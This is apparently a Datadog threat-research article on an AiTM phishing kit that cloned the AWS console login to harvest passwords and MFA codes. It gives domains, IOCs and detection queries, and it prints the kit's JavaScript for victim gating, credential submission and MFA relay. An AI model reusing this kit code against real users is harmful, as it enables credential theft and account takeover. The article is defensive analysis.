---
title: "Behind the console: An AiTM phishing kit harvesting AWS console credentials and beyond"
description: "Datadog Security Research investigates a June 2026 adversary-in-the-middle phishing campaign that cloned the AWS console login page to harvest victim credentials and multi-factor authentication codes."
author: "Datadog"
date: 2026-06-24
category: "research"
tags: ["aws", "threat research"]
url: "https://securitylabs.datadoghq.com/articles/behind-the-console-aws-aitm-phishing-kit-and-beyond/"
---

Between June 16 and 19, 2026, Datadog Security Research observed a wave of AWS console phishing sites attempting to harvest victim credentials. Three domains, registered within the same 48-hour window and hosted on Cloudflare, impersonating the AWS login page and used adversary-in-the-middle (AiTM) techniques to capture multi-factor authentication (MFA) codes in real time. Hunt for DNS activity to the domains listed below and check AWS CloudTrail for `ConsoleLogin` events.

## Dissecting the phishing campaign

The following three domains were registered between June 16 and 18, 2026, all through the registrar NICENIC INTERNATIONAL GROUP CO., LIMITED and hosted on Cloudflare:

| **Domains** | **Subdomains** | **Registration date** | **Registrar** |
| :----: | :----: | :----: | :----: |
| us-west-login[.]com | aws.us-west-login[.]com, aws-central.us-west-login[.]com | June 18, 2026 | NICENIC INTERNATIONAL GROUP CO., LIMITED |
| us-east-prod[.]com | aws.us-east-prod[.]com | June 17, 2026 | NICENIC INTERNATIONAL GROUP CO., LIMITED |
| loginportal-aws[.]com |  | June 16, 2026 | NICENIC INTERNATIONAL GROUP CO., LIMITED |

Each domain served a near-identical copy of the AWS console sign-in page, designed to convince victims they were authenticating against the legitimate AWS login.

![The cloned AWS console sign-in page served by the phishing domains](https://securitylabs.dd-static.net/img/behind-the-console-aws-aitm-phishing-kit-and-beyond/aws-console-phishing-login-page.png?auto=format)
*The cloned AWS console sign-in page served by the phishing domains (click to enlarge)*

Behind the cloned page, the kit ran a server-driven flow that branched to whichever second factor the victim's account used.

![The phishing kit's server-driven MFA flow, branching to email, SMS, or authenticator-app challenges](https://securitylabs.dd-static.net/img/behind-the-console-aws-aitm-phishing-kit-and-beyond/phishing-flow.png?auto=format)
*The phishing kit's server-driven MFA flow, branching to email, SMS, or authenticator-app challenges (click to enlarge)*

### Identifying a likely phishing email

We also found a likely delivery artifact for the campaign on VirusTotal. On June 19, 2026, a batch file referencing one of the phishing domains appeared on the platform. The file appears to be an attacker validation script. It pinged a non-existent domain named `15hourolddomain-bypass-ed-google-workspaceprotection-fuckgoogle[.]com`, ran several curl commands against `aws.us-west-login[.]com` and a SendGrid URL that resolved to the phishing domain, and queried WHOIS metadata for `aws.us-west-login[.]com`.

The batch file also contained the structure of a phishing email impersonating AWS Support, which cited a fabricated support ticket about bandwidth throttling:

![Possible rendering of the alleged phishing email we identified on VirusTotal](https://securitylabs.dd-static.net/img/behind-the-console-aws-aitm-phishing-kit-and-beyond/email.png?auto=format)
*Possible rendering of the alleged phishing email we identified on VirusTotal. Note that we did not directly observe it in an actual email, and it has been rendered only for illustrative purposes (click to enlarge)*

### How the kit steals credentials

The operators sent phishing emails through legitimate platforms such as SendGrid and Nimbu to pass email authentication checks, a standard technique to improve deliverability and avoid spam filters.

The phishing domains cloned the AWS console login page, and the credential-harvesting logic lived in a single JavaScript file. The site has AiTM capabilities and captures second factors delivered via email, SMS, or a time-based one-time password (TOTP).

#### Validating the victim before rendering

When the page loads, it identifies the visitor by reading the URL parameter `input_24`, extracting the encrypted base64 blob, and sending a POST request to `/api/check`. The server likely decrypts the blob to the target email address and sets it as a cookie. This matches the observed `validEmail` cookie, which holds a plaintext email address.

The page then calls `/api/me`, which reads the cookie and returns a JSON object containing the victim's email address.

Finally, the conditional check `n||!e ? null :` decides whether to render the AWS phishing page or a blank page, depending on whether loading is still in progress or a valid email has been found.

``` javascript/5,7,11
function Hi(){
  let [e,t]=(0,_.useState)(null),   
      [n,r]=(0,_.useState)(!0);     
  return (0,_.useEffect)(()=>{
    window.location.origin;
    let e=new URLSearchParams(window.location.search).get(`input_24`);
    (e
      ? fetch(`/api/check`,{method:`POST`,headers:{"Content-Type":`application/json`},
          body:JSON.stringify({encrypted:e}),credentials:`include`})
      : Promise.resolve({ok:!1}))
      .then(e=>e.ok?e.json():null)
      .then(()=>fetch(`/api/me`,{credentials:`include`}))
      .then(e=>e.json())
      .then(e=>t(e.email||null))
      .finally(()=>r(!1))
  },[]),
  n||!e ? null : (0,x.jsxs)(x.Fragment,{children:[
    (0,x.jsx)(Vi,{children:(0,x.jsx)(`title`,{children:`Amazon Web Services Sign-In`})}),
    (0,x.jsx)(Jr,{})
  ]})
}
```

This check prevents sandboxes and researchers from analyzing the page without a valid victim email.

#### Relaying MFA challenges in real time

We could not test the MFA component to confirm whether the kit relays credentials to AWS and returns its response, but the available code makes this seem likely.

After a victim submits initial credentials to `/api/login` through either the root or IAM user form, the code reads the `type` field in the JSON response and navigates to the matching URL path. The server can only know which MFA path to return (`sms`, `email`, or `gauth`) by interacting with the legitimate AWS console sign-in page.

```javascript
#Root user credential submission
let t = await fetch(`/api/login`, {
    method: `POST`,
    headers: {"Content-Type": `application/json`},
    body: JSON.stringify({username:e, password:n, isRootUser:i})
}),
r = await t.json();
if(!t.ok) throw new pr(r.message || `Login failed!`);
f(`/${r.type}`) 
```

The victim then lands on `/email`, `/sms`, or `/gauth`. Each variant has its own copy tuned to match the real AWS challenge:

```javascript
{
    email: {
        header:      `Confirm you're you`,
        description: [`We sent an email with a verification code to `, o,
                      `To continue, confirm your identity using the code below.`],
        inputLabel:  `Verification code`,
        codeError:   `Verification Code is Required`
    },
    sms: {
        header:      `Additional verification required`,
        description: [`We sent a text message with a verification code to your`,
                      ` phone number`,
                      `To continue, enter your code below`],
        inputLabel:  `Verification code`,
        codeError:   `SMS Code is Required`
    },
    gauth: {
        header:      `Additional verification required`,
        description: [`To finish signing in, enter the code from your `,
                      `MFA device`],
        inputLabel:  `MFA code`,
        codeError:   `MFA Code is Required`
    }
}
```

The submit handler then forwards everything to `/api/auth`:

```javascript
let e = await fetch(`/api/auth`, {
    method: `POST`,
    headers: {"Content-Type": `application/json`},
    body: JSON.stringify({
        accountId: n,     
        username:  o,     
        password:  c,    
        isRootUser: u,    
        code:      y      
    })
}),
t = await e.json();
if(!t.ok) throw new pr(t.message||`Login failed!`);
ee(`/${t.type}`)          // server picks the next route again
```

### Tying this campaign to a concurrent SendGrid campaign

While investigating the three AWS domains, we found three more domains impersonating SendGrid. They were registered between June 16 and 18, 2026, all through the registrar NICENIC INTERNATIONAL GROUP CO., LIMITED and hosted on Cloudflare:

| **Domains** | **Subdomains** | **Registration date** | **Registrar** |
| :----: | :----: | :----: | :----: |
| switch-sglogin[.]com |  | June 19, 2026 | NICENIC INTERNATIONAL GROUP CO., LIMITED |
| uslogin-prodsg[.]com | sendgrid.uslogin-prodsg[.]com | June 17, 2026 | NICENIC INTERNATIONAL GROUP CO., LIMITED |
| us-west-prod[.]com | sendgrid.us-west-prod[.]com | June 18, 2026 | NICENIC INTERNATIONAL GROUP CO., LIMITED |

Note the similar naming convention between `us-west-prod[.]com` (SendGrid) and `us-east-prod[.]com` (AWS). The kit behind these SendGrid domains shares several technical traits with the `input_24` kit analyzed above:

- Redirects from marketing platforms and other CRMs
- A React single-page application (SPA)
- An encrypted email verified through the URL (`email` instead of `input_24`)
- Comprehensive MFA support (`/2fa/(email|sms|ga)/:twoFactorId` instead of `/(email|sms|gauth)`)

In August 2025, NVISO Labs published a [blog post](https://blog.nviso.eu/2025/08/12/shedding-light-on-poisonseeds-phishing-kit/) analyzing a kit that impersonates SendGrid and other CRM services. It appears to be the same phishing kit.

### Linking the kit to prior activity

The `input_24` parameter described in the gating component is a useful fingerprint for tracking this kit across campaigns.

A version of the `input_24` kit has been active since July 2025, primarily targeting cryptocurrency wallets such as Trezor and Ledger. In August 2025, the domain `dashboard-salesforce[.]com` impersonated a Salesforce login page using the same gating function, which links it to the same kit.

## Who the campaign targeted

The email validation step meant the kit rendered only for visitors whose address matched the encrypted `input_24` blob. This points to a curated target list rather than indiscriminate mass phishing, since each link was built for a specific recipient.

Our analysis yielded fewer than 50 target email addresses. Given this small sample, the following observations are only indicative:

- Targets were primarily US-based.
- Job roles were primarily software engineers and engineering leadership, consistent with the kit's intended targets.

## How Datadog can help

Datadog [Cloud SIEM](https://www.datadoghq.com/product/cloud-siem/) includes out-of-the-box detection rules that monitor suspicious behavior in AWS CloudTrail:

- [AWS ConsoleLogin with MFA triggered Impossible Travel scenario](https://docs.datadoghq.com/security/default_rules/oky-4op-88y/)
- [AWS ConsoleLogin without MFA triggered Impossible Travel scenario](https://docs.datadoghq.com/security/default_rules/spm-un2-i9l/)

Hunt for DNS activity to the phishing domains:

```
@ocsf.query.hostname:("us-west-login.com" OR "aws.us-west-login.com" OR "aws-central.us-west-login.com" OR "loginportal-aws.com" OR "us-east-prod.com" OR "aws.us-east-prod.com")
```

If you find DNS or network hits, check CloudTrail for successful logins:

```
source:cloudtrail @ocsf.metadata.event_code:ConsoleLogin
```

A ConsoleLogin event following activity to these domains indicates a threat actor may have captured and replayed credentials.

## Indicators of compromise

| **Indicator** | **Note** |
| :----: | :----: |
| aws.us-west-login[.]com |  |
| aws-central.us-west-login[.]com |  |
| aws.us-east-prod[.]com |  |
| loginportal-aws[.]com | Not observed with `input_24` parameter |

## Conclusion

Most AWS credential theft focuses on access keys, a pattern that holds in both Datadog's internal data and public reporting. Targeted actors, however, still pursue username and password phishing against the AWS console. The AiTM capability observed here captures MFA codes in real time, which makes this campaign more dangerous than a simple credential-harvesting page. Defenders should treat AWS console phishing as an active threat rather than a secondary concern.
